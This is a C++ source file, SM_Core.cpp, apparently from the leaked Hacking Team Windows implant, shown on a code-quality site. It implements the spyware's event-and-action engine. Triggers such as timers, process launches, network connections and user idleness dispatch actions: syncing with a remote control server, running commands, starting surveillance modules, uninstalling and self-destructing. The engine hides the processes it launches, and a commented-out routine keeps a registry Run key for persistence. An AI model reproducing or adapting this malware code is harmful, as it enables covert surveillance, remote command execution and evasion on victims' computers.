hackedteam/core-win32

View on GitHub
SM_Core.cpp

Summary

Maintainability
Test Coverage
#include <windows.h>
#include "common.h"
#include "H4-DLL.h"
#include "demo_functions.h"
#include "UnHookClass.h"
#include "DeepFreeze.h"
#include "x64.h"
#include "status_log.h"
#include "SM_Core.h"
#include "SM_ActionFunctions.h"
#include "JSON\JSON.h"
#include "SM_EventHandlers.h"

// Il sistema si basa su condizioni->eventi->azioni
// Un event monitor, quando si verifica una condizione, genera un evento. Le condizioni sono verificate a discrezione
// dell'event monitor (EM)stesso in base al Param passato alla funzione pEventMonitorAdd. 
// Quando una condizione si verifica, l'EM richiama TriggerEvent. Il SyncManager monitora gli eventi e, quando ne
// rileva uno, esegue le azioni associate nella sua tabella eventi/azioni.


#define MAX_EVENT_MONITOR 15 // Massimo numero di event monitor registrabili
#define MAX_DISPATCH_FUNCTION 15 // Massimo numero di azioni registrabili
#define SYNCM_SLEEPTIME 100

typedef void (WINAPI *EventMonitorAdd_t) (JSONObject, event_param_struct *, DWORD);
typedef void (WINAPI *EventMonitorStart_t) (void);
typedef void (WINAPI *EventMonitorStop_t) (void);
typedef BOOL (WINAPI *ActionFunc_t) (BYTE *);

ActionFunc_t ActionFuncGet(DWORD action_type, BOOL *is_fast_action);

typedef void (WINAPI *conf_callback_t)(JSONObject, DWORD counter);
extern BOOL HM_ParseConfSection(char *conf, WCHAR *section, conf_callback_t call_back);
extern BOOL HM_CountConfSection(char *conf, WCHAR *section, DWORD *count);
extern DWORD AM_GetAgentTag(const WCHAR *agent_name);

// Gestione event monitor  ----------------------------------------------

typedef struct  {
    WCHAR event_type[32];
    EventMonitorAdd_t pEventMonitorAdd;
    EventMonitorStart_t pEventMonitorStart;
    EventMonitorStop_t pEventMonitorStop;
} event_monitor_elem;

// Struttura per gestire i thread di ripetizione
typedef struct {
    DWORD event_id;
    DWORD repeat_action;
    DWORD count; 
    DWORD delay;
    BOOL  semaphore;
} repeated_event_struct;

// Struttura della tabella degli eventi
typedef struct {
    BOOL event_enabled;
    repeated_event_struct repeated_event;
    HANDLE repeated_thread;
} event_table_struct;

// Tabella degli event monitor attualmente registrati
DWORD event_monitor_count = 0;
event_monitor_elem event_monitor_array[MAX_EVENT_MONITOR];

// Tabella contenente lo stato di attivazione di tutti gli eventi nel file di configurazione
event_table_struct *event_table = NULL;
DWORD event_count = 0;

DWORD WINAPI RepeatThread(repeated_event_struct *repeated_event)
{
    DWORD i = 0;
    LOOP {
        CANCELLATION_SLEEP(repeated_event->semaphore, repeated_event->delay);
        if (i < repeated_event->count) {
            i++;
            TriggerEvent(repeated_event->repeat_action, repeated_event->event_id);
        }
    }
    return 0;
}

// Permette di gestire i repeat degli eventi
void CreateRepeatThread(DWORD event_id, DWORD repeat_action, DWORD count, DWORD delay)
{
    DWORD dummy;

    // Non c'e' nessuna azione da fare
    if (repeat_action == AF_NONE || count == 0 || delay<1000)
        return;
    // L'evento non e' riconosciuto
    if (event_id >= event_count)
        return;
    // C'e' gia' un thread attivo per quell'evento
    if (event_table[event_id].repeated_thread)
        return;

    event_table[event_id].repeated_event.count = count;
    event_table[event_id].repeated_event.delay = delay;
    event_table[event_id].repeated_event.event_id = event_id;
    event_table[event_id].repeated_event.repeat_action = repeat_action;
    event_table[event_id].repeated_event.semaphore = FALSE;

    event_table[event_id].repeated_thread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RepeatThread, &event_table[event_id].repeated_event, 0, &dummy);
}

void StopRepeatThread(DWORD event_id)
{
    // L'evento non e' riconosciuto
    if (event_id >= event_count)
        return;

    QUERY_CANCELLATION(event_table[event_id].repeated_thread, event_table[event_id].repeated_event.semaphore);
}

// Registra un nuovo event monitor
void EventMonitorRegister(WCHAR *event_type, EventMonitorAdd_t pEventMonitorAdd, 
                          EventMonitorStart_t pEventMonitorStart,
                          EventMonitorStop_t pEventMonitorStop)
{
    if (event_monitor_count >= MAX_EVENT_MONITOR)
        return;

    swprintf_s(event_monitor_array[event_monitor_count].event_type, L"%s", event_type);
    event_monitor_array[event_monitor_count].pEventMonitorAdd = pEventMonitorAdd;
    event_monitor_array[event_monitor_count].pEventMonitorStop = pEventMonitorStop;
    event_monitor_array[event_monitor_count].pEventMonitorStart = pEventMonitorStart;

    event_monitor_count++;
}

void EventMonitorStartAll()
{
    DWORD i;
    for (i=0; i<event_monitor_count; i++)
        if (event_monitor_array[i].pEventMonitorStart)
            event_monitor_array[i].pEventMonitorStart();
}

void EventMonitorStopAll()
{
    DWORD i;
    for (i=0; i<event_monitor_count; i++)
        if (event_monitor_array[i].pEventMonitorStop)
            event_monitor_array[i].pEventMonitorStop();
}

void EventTableInit()
{
    SAFE_FREE(event_table);
    event_count = 0;
}

// Setta lo stato iniziale di un evento
void SM_EventTableState(DWORD event_id, BOOL state)
{
    event_table_struct *temp_event_table;
    // Alloca la tabella per contenere quel dato evento 
    // La tabella e' posizionale
    if (event_id >= event_count) {
        temp_event_table = (event_table_struct *)realloc(event_table, (event_id + 1) * sizeof(event_table_struct));
        if (!temp_event_table)
            return;
        event_table = temp_event_table;
        event_count = event_id + 1;
        event_table[event_id].repeated_thread = NULL;
        ZeroMemory(&event_table[event_id].repeated_event, sizeof(repeated_event_struct));
    }
    event_table[event_id].event_enabled = state;
}

// Assegna una riga "evento" della configurazione al corretto event monitor
void EventMonitorAddLine(const WCHAR *event_type, JSONObject conf_json, event_param_struct *event_param, DWORD event_id, BOOL event_state)
{
    DWORD i;
    // Inizializza lo stato attivo/disattivo dell'evento
    SM_EventTableState(event_id, event_state);

    for (i=0; i<event_monitor_count; i++)
        if (!wcsicmp(event_monitor_array[i].event_type, event_type)) {
            event_monitor_array[i].pEventMonitorAdd(conf_json, event_param, event_id);
            break;
        }
}

BOOL EventIsEnabled(DWORD event_id)
{
    // L'evento non e' mai stato visto e inizializzato
    if (event_id >= event_count)
        return FALSE;

    return event_table[event_id].event_enabled;
}
//------------------------------------------------------------------




// Tabella delle actions ------------------------------------------

typedef struct {
    ActionFunc_t pActionFunc; // Puntatore alla funzione che effettua l'action
    BYTE *param;              // Puntatore all'array contenente i parametri
} action_elem;

typedef struct {
    DWORD subaction_count; // numero di azioni collegate all'evento 
    action_elem *subaction_list; // puntatore all'array delle azioni 
    BOOL is_fast_action; // e' TRUE se non contiene alcuna sottoazione lenta (sync, uninst e execute)
    BOOL triggered; // Se l'evento e' triggerato o meno
} event_action_elem;

static event_action_elem *event_action_array = NULL; // Puntatore all'array dinamico contenente le actions.
                                                     // Si chiude con una entry nulla.
static DWORD event_action_count = 0; // Numero di elementi nella tabella event/actions

// Funzione da esportare (per eventuali event monitor esterni o per far generare eventi anche 
// agli agents). Triggera l'evento "index". L'event_id indica quale evento sta triggerando l'azione.
// Se l'evento e' stato disabilitato, l'azione non e' triggerata
void TriggerEvent(DWORD index, DWORD event_id)
{
    // Se e' uguale ad AF_NONE sara' sicuramente > event_action_count
    if (index >= event_action_count)
        return;

    // L'azione viene effettivamente triggerata solo se l'evento che l'ha generata
    // e' attivo in quel momento
    if (EventIsEnabled(event_id))
        event_action_array[index].triggered = TRUE;
}

// Cerca un evento qualsiasi che e' stato triggerato. Se lo trova torna TRUE e valorizza
// il puntatore all'array delle relative actions e il numero delle actions stesse.
// Legge solo le azioni lente
BOOL ReadEventSlow(DWORD *event_id)
{
    static DWORD i = 0;

    for (; i<event_action_count; i++) 
        if (event_action_array[i].triggered && !event_action_array[i].is_fast_action) {
            event_action_array[i].triggered = FALSE;
            *event_id = i;
            // Evita che lo stesso evento possa 
            // essere triggerato continuamente    
            i++; 
            return TRUE;
        }

    i = 0;
    return FALSE;
}

// Legge solo azioni veloci
BOOL ReadEventFast(DWORD *event_id)
{
    static DWORD i = 0;

    for (; i<event_action_count; i++) 
        if (event_action_array[i].triggered && event_action_array[i].is_fast_action) {
            event_action_array[i].triggered = FALSE;
            *event_id = i;
            // Evita che lo stesso evento possa 
            // essere triggerato continuamente    
            i++; 
            return TRUE;
        }

    i = 0;
    return FALSE;
}

// Esegue le actions indicate
void DispatchEvent(DWORD event_id)
{
    DWORD i;

    // Se l'action torna TRUE (es: nuova configurazione), smette di eseguire
    // sottoazioni che potrebbero non esistere piu'
    for (i=0; i<event_action_array[event_id].subaction_count; i++) {
        if (event_action_array[event_id].subaction_list[i].pActionFunc) {
            if (event_action_array[event_id].subaction_list[i].pActionFunc(event_action_array[event_id].subaction_list[i].param))
                break;
        }
    }
}


// Aggiunge una sotto-azione per l'azione "event_number" 
// Torna FALSE solo se ha inserito con successo una azione slow
BOOL ActionTableAddSubAction(DWORD event_number, DWORD subaction_type, BYTE *param)
{
    void *temp_action_list;
    BOOL is_fast_action;
    DWORD subaction_count;

    // Se l'evento non esiste nella event_action table ritorna
    if (event_number >= event_action_count)
        return TRUE;

    // All'inizio subaction_list e subaction_count sono a 0 perche' azzerate nella ActionTableInit
    // XXX si, c'e' un int overflow se ci sono 2^32 sotto azioni che potrebbe portare a un exploit nello heap (es: double free)....
    temp_action_list = realloc(event_action_array[event_number].subaction_list, sizeof(action_elem) * (event_action_array[event_number].subaction_count + 1) );

    // Se non riesce ad aggiungere la nuova sottoazione lascia tutto com'e'
    if (!temp_action_list)
        return TRUE;

    // Se l'array delle sottoazioni e' stato ampliato con successo, incrementa il numero delle sottoazioni
    // e aggiunge la nuova subaction
    subaction_count = event_action_array[event_number].subaction_count++;
    event_action_array[event_number].subaction_list = (action_elem *)temp_action_list;
    event_action_array[event_number].subaction_list[subaction_count].pActionFunc = ActionFuncGet(subaction_type, &is_fast_action);

    event_action_array[event_number].subaction_list[subaction_count].param = param;

    return is_fast_action;
}



// Quando questa funzione viene chiamata non ci devono essere thread attivi 
// che possono chiamare la funizone TriggerEvent. Dovrei proteggerlo come CriticalSection
// ma mi sembra sprecato in questo contesto (basta solo fare un po' di attenzione se si dovesse
// verificare il caso).
void ActionTableInit(DWORD number)
{
    DWORD i,j;
    event_action_elem *temp_event_action_array = NULL;

    // Libera gli eventuali parametri allocati nella precedente configurazione
    for (i=0; i<event_action_count; i++) {
        for (j=0; j<event_action_array[i].subaction_count; j++)
            SAFE_FREE(event_action_array[i].subaction_list[j].param);

        SAFE_FREE(event_action_array[i].subaction_list);
    }

    // Alloca una nuova tabella
    if (number)
        temp_event_action_array = (event_action_elem *)realloc(event_action_array, number * sizeof(event_action_elem));

    if (temp_event_action_array) {
        event_action_count = number;
        event_action_array = temp_event_action_array;
        ZERO(event_action_array, number * sizeof(event_action_elem));
        for (i=0; i<event_action_count; i++) 
            event_action_array[i].is_fast_action = TRUE; // all'inizio conta tutte come fast actions
    } else {
        event_action_count = 0;
        SAFE_FREE(event_action_array);
        return;
    }
}

//----------------------------------------------------------------






// Gestione delle action function registrate -----------------------------------------------------------
typedef struct {
    DWORD action_type;
    ActionFunc_t pActionFunc;
    BOOL is_fast_action;
} dispatch_func_elem;


// Tabella delle azioni di default
DWORD dispatch_func_count = 0;
dispatch_func_elem dispatch_func_array[MAX_DISPATCH_FUNCTION];


// Registra un'action
void ActionFuncRegister(DWORD action_type, ActionFunc_t pActionFunc, BOOL is_fast_action)
{
    if (dispatch_func_count >= MAX_DISPATCH_FUNCTION)
        return;

    dispatch_func_array[dispatch_func_count].action_type = action_type;
    dispatch_func_array[dispatch_func_count].pActionFunc = pActionFunc;
    dispatch_func_array[dispatch_func_count].is_fast_action = is_fast_action;

    dispatch_func_count++;
}


// Ritorna il puntatore alla funzione di action associata ad un certo action_type
ActionFunc_t ActionFuncGet(DWORD action_type, BOOL *is_fast_action)
{
    DWORD i;

    if (is_fast_action)
        *is_fast_action = TRUE;
    for (i=0; i<dispatch_func_count; i++)
        if (dispatch_func_array[i].action_type == action_type) {
            if (is_fast_action)
                *is_fast_action = dispatch_func_array[i].is_fast_action;
            return dispatch_func_array[i].pActionFunc;
        }

    return NULL;
}

//-----------------------------------------------------------------------------------
void WINAPI ParseEvents(JSONObject conf_json, DWORD counter)
{
    event_param_struct event_param;

    if (conf_json[L"start"])
        event_param.start_action = conf_json[L"start"]->AsNumber();
    else
        event_param.start_action = AF_NONE;

    if (conf_json[L"end"])
        event_param.stop_action = conf_json[L"end"]->AsNumber();
    else
        event_param.stop_action = AF_NONE;

    if (conf_json[L"repeat"])
        event_param.repeat_action = conf_json[L"repeat"]->AsNumber();
    else
        event_param.repeat_action = AF_NONE;

    if (conf_json[L"iter"])
        event_param.count = conf_json[L"iter"]->AsNumber();
    else
        event_param.count = 0xFFFFFFFF;

    if (conf_json[L"delay"]) {
        event_param.delay = (conf_json[L"delay"]->AsNumber() * 1000);
        if (event_param.delay == 0)
            event_param.delay = 1;
    } else
        event_param.delay = 1;

    EventMonitorAddLine(conf_json[L"event"]->AsString().c_str(), conf_json, &event_param, counter, conf_json[L"enabled"]->AsBool());
}

BYTE *ParseActionParameter(JSONObject conf_json, DWORD *tag)
{
    WCHAR action[64];
    BYTE *param = NULL;
    
    if (tag)
        *tag = AF_NONE;

    _snwprintf_s(action, 64, _TRUNCATE, L"%s", conf_json[L"action"]->AsString().c_str());        

    if (!wcscmp(action, L"log")) {
        *tag = AF_LOGINFO;
        param = (BYTE *)wcsdup(conf_json[L"text"]->AsString().c_str());

    } else if (!wcscmp(action, L"synchronize")) {
        typedef struct {
            DWORD min_sleep;
            DWORD max_sleep;
            DWORD band_limit;
            BOOL  exit_after_completion;
            char asp_server[1];
        } sync_conf_struct;
        sync_conf_struct *sync_conf;
        *tag = AF_SYNCRONIZE;
        param = (BYTE *)malloc(sizeof(sync_conf_struct) + wcslen(conf_json[L"host"]->AsString().c_str())*2);
        if (param) {
            sync_conf = (sync_conf_struct *)param;
            sync_conf->min_sleep = conf_json[L"mindelay"]->AsNumber();
            sync_conf->max_sleep = conf_json[L"maxdelay"]->AsNumber();
            sync_conf->band_limit= conf_json[L"bandwidth"]->AsNumber();
            sync_conf->exit_after_completion = conf_json[L"stop"]->AsBool();
            sprintf(sync_conf->asp_server, "%S", conf_json[L"host"]->AsString().c_str());
        }

    } else if (!wcscmp(action, L"execute")) {
        *tag = AF_EXECUTE;
        DWORD len = wcslen(conf_json[L"command"]->AsString().c_str());
        param = (BYTE *)malloc(len+1);
        sprintf((char *)param, "%S", conf_json[L"command"]->AsString().c_str());
    } else if (!wcscmp(action, L"uninstall")) {
        *tag = AF_UNINSTALL;

    } else if (!wcscmp(action, L"module")) {
        if (!wcscmp(conf_json[L"status"]->AsString().c_str(), L"start"))
            *tag = AF_STARTAGENT;
        else
            *tag = AF_STOPAGENT;
        param = (BYTE *)malloc(sizeof(DWORD));
        if (param) {
            DWORD agent_tag = AM_GetAgentTag(conf_json[L"module"]->AsString().c_str());
            memcpy(param, &agent_tag, sizeof(DWORD));
        }

    } else if (!wcscmp(action, L"event")) {
        if (!wcscmp(conf_json[L"status"]->AsString().c_str(), L"enable"))
            *tag = AF_STARTEVENT;
        else
            *tag = AF_STOPEVENT;
        param = (BYTE *)malloc(sizeof(DWORD));
        if (param) {
            DWORD event_id = conf_json[L"event"]->AsNumber();
            memcpy(param, &event_id, sizeof(DWORD));
        }
    } else if (!wcscmp(action, L"destroy")) {
        *tag = AF_DESTROY;
        param = (BYTE *)malloc(sizeof(BOOL));
        if (param) {
            BOOL isPermanent = conf_json[L"permanent"]->AsBool();
            memcpy(param, &isPermanent, sizeof(BOOL));
        }
    }
    return param;
}

void WINAPI ParseActions(JSONObject conf_json, DWORD counter)
{
    JSONArray subaction_array;
    DWORD i;
    DWORD tag;
    BYTE *conf_ptr;

    if (!conf_json[L"subactions"])
        return;
    subaction_array = conf_json[L"subactions"]->AsArray();

    for (i=0; i<subaction_array.size(); i++) {
        JSONObject subaction;
        if (!subaction_array[i]->IsObject())
            continue;
        subaction = subaction_array[i]->AsObject();
        conf_ptr = ParseActionParameter(subaction, &tag);
        // Se ha aggiunto una subaction "slow" marca tutta l'action come slow
        // Basta una subaction slow per marcare tutto l'action
        if (!ActionTableAddSubAction(counter, tag, conf_ptr)) 
            event_action_array[counter].is_fast_action = FALSE;
    }
}

// Istruisce gli EM per il monitor degli eventi e popola l'action table sulla base 
// del file di configurazione
void UpdateEventConf()
{
    DWORD action_count;
    char *conf_memory;
    if (!(conf_memory = HM_ReadClearConf(H4_CONF_FILE)))
        return;

    // Legge gli eventi
    EventTableInit();
    HM_ParseConfSection(conf_memory, L"events", &ParseEvents);

    // Legge le azioni
    HM_CountConfSection(conf_memory, L"actions", &action_count);
    ActionTableInit(action_count);
    HM_ParseConfSection(conf_memory, L"actions", &ParseActions);

    SAFE_FREE(conf_memory);
}


// Lista dei processi eseguiti
DWORD *process_executed = NULL;
#define MAX_PROCESS_EXECUTED 512
// Gestisce la lista dei processi eseguiti. Quando un processo
// non esiste piu' elimina l'hiding per il PID corrispondente.
void SM_HandleExecutedProcess()
{
    DWORD i;
    char *proc_name;
    pid_hide_struct pid_hide = NULL_PID_HIDE_STRUCT;

    // Questa funzione viene richiamata prima che possa essere 
    // eseguita SM_AddExecutedProcess: quindi e' questa che si 
    // preoccupa di inizializzare l'array dei PID
    if (!process_executed) {
        process_executed = (DWORD *)calloc(MAX_PROCESS_EXECUTED, sizeof(DWORD));
        return;
    }

    // Cicla la lista dei processi eseguiti
    for (i=0; i<MAX_PROCESS_EXECUTED; i++)
        if (process_executed[i]) {
            proc_name = HM_FindProc(process_executed[i]);
            // Se ora il PID non esiste piu' elimina l'hide
            // e lo toglie dalla lista.
            if (!proc_name) {
                SET_PID_HIDE_STRUCT(pid_hide, process_executed[i]);
                AM_RemoveHide(HIDE_PID, &pid_hide);
                process_executed[i] = 0;
            }
            SAFE_FREE(proc_name);
        }
}


// Aggiunge un processo alla lista di quelli eseguiti come azione
// Ne effettua anche l'hiding
void SM_AddExecutedProcess(DWORD pid)
{
    DWORD i;
    pid_hide_struct pid_hide = NULL_PID_HIDE_STRUCT;

    // Aggiorna la lista dei PID eseguiti (se e' allocata)
    if (!process_executed)
        return;

    // Nasconde il PID passato
    SET_PID_HIDE_STRUCT(pid_hide, pid);
    AM_AddHide(HIDE_PID, &pid_hide);

    // Cerca un posto libero e inserisce il PID
    for (i=0; i<MAX_PROCESS_EXECUTED; i++)
        if (!process_executed[i]) {
            process_executed[i] = pid;
            break;
        }
}

// Loop di gestione delle azioni FAST
DWORD WINAPI FastActionsThread(DWORD dummy)
{
    DWORD event_id;
    LOOP {
        CANCELLATION_POINT(bInstantActionThreadSemaphore);
        if (ReadEventFast(&event_id)) 
            DispatchEvent(event_id);
        else
            Sleep(SYNCM_SLEEPTIME);

    }
    return 0;
}

/*
#define EVERY_N_CYCLES(x) static DWORD i=0; i++; if (i%x == 0)
void RegistryWatchdog()
{
    static char key_value[DLLNAMELEN*3] = "";
    DWORD key_size;
    HKEY hOpen;

    if (FNC(RegOpenKeyA)(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hOpen) != ERROR_SUCCESS)
        return;

    key_size = sizeof(key_value) - 1;
    if (RegQueryValueEx(hOpen, REGISTRY_KEY_NAME, NULL, NULL, (unsigned char *)key_value, &key_size) == ERROR_FILE_NOT_FOUND) {
        if (key_value[0] != 0) // Verifica che abbia un valore memorizzato per la stringa
            FNC(RegSetValueExA)(hOpen, REGISTRY_KEY_NAME, NULL, REG_EXPAND_SZ, (unsigned char *)key_value, strlen(key_value)+1);
    } 

    FNC(RegCloseKey)(hOpen);
}*/

// Ciclo principale di monitoring degli eventi. E' praticamente il ciclo principale di tutto il client core.
void SM_MonitorEvents(DWORD dummy)
{
    DWORD event_id;
    DWORD dummy2;

    InitializeCriticalSection(&action_critic_sec);

    // Registrazione degli EM e delle AF. 
    EventMonitorRegister(L"timer", EM_TimerAdd, EM_TimerStart, EM_TimerStop);
    EventMonitorRegister(L"afterinst", EM_TimerAdd, NULL, NULL);
    EventMonitorRegister(L"date", EM_TimerAdd, NULL, NULL);
    EventMonitorRegister(L"process", EM_MonProcAdd, EM_MonProcStart, EM_MonProcStop);
    EventMonitorRegister(L"connection", EM_MonConnAdd, EM_MonConnStart, EM_MonConnStop);
    EventMonitorRegister(L"screensaver", EM_ScreenSaverAdd, EM_ScreenSaverStart, EM_ScreenSaverStop);    
    EventMonitorRegister(L"winevent", EM_MonEventAdd, EM_MonEventStart, EM_MonEventStop);    
    EventMonitorRegister(L"quota", EM_QuotaAdd, EM_QuotaStart, EM_QuotaStop);    
    EventMonitorRegister(L"window", EM_NewWindowAdd, EM_NewWindowStart, EM_NewWindowStop);
    EventMonitorRegister(L"idle", EM_UserIdlesAdd, EM_UserIdlesStart, EM_UserIdlesStop);

    ActionFuncRegister(AF_SYNCRONIZE, DA_Syncronize, FALSE);
    ActionFuncRegister(AF_STARTAGENT, DA_StartAgent, TRUE);
    ActionFuncRegister(AF_STOPAGENT, DA_StopAgent, TRUE);
    ActionFuncRegister(AF_EXECUTE, DA_Execute, FALSE);
    ActionFuncRegister(AF_UNINSTALL, DA_Uninstall, FALSE);
    ActionFuncRegister(AF_LOGINFO, DA_LogInfo, TRUE);
    ActionFuncRegister(AF_STARTEVENT, DA_StartEvent, TRUE);
    ActionFuncRegister(AF_STOPEVENT, DA_StopEvent, TRUE);
    ActionFuncRegister(AF_DESTROY, DA_Destroy, TRUE);

    // Legge gli eventi e le azioni dal file di configurazione. 
    // Deve essere sempre posizionato DOPO la registrazione di EM e AF
    UpdateEventConf();
    EventMonitorStartAll();

    // Lancia il thread che gestira' gli eventi FAST
    hInstantActionThread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FastActionsThread, NULL, 0, &dummy2);

    // Ciclo principale di lettura degli eventi
    LOOP {
        // Watchdog per la chiave nel registry (una volta ogni 10 cicli)
        /*EVERY_N_CYCLES(10)
            RegistryWatchdog();*/

        // Gestisce la lista dei processi eseguiti
        // (va eseguita per prima nel loop).
        SM_HandleExecutedProcess();

        if (ReadEventSlow(&event_id)) 
            DispatchEvent(event_id);
        else
            Sleep(SYNCM_SLEEPTIME);
    }
}

void SM_StartMonitorEvents(void)
{
    DWORD dummy;
    HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SM_MonitorEvents, NULL, 0, &dummy);
}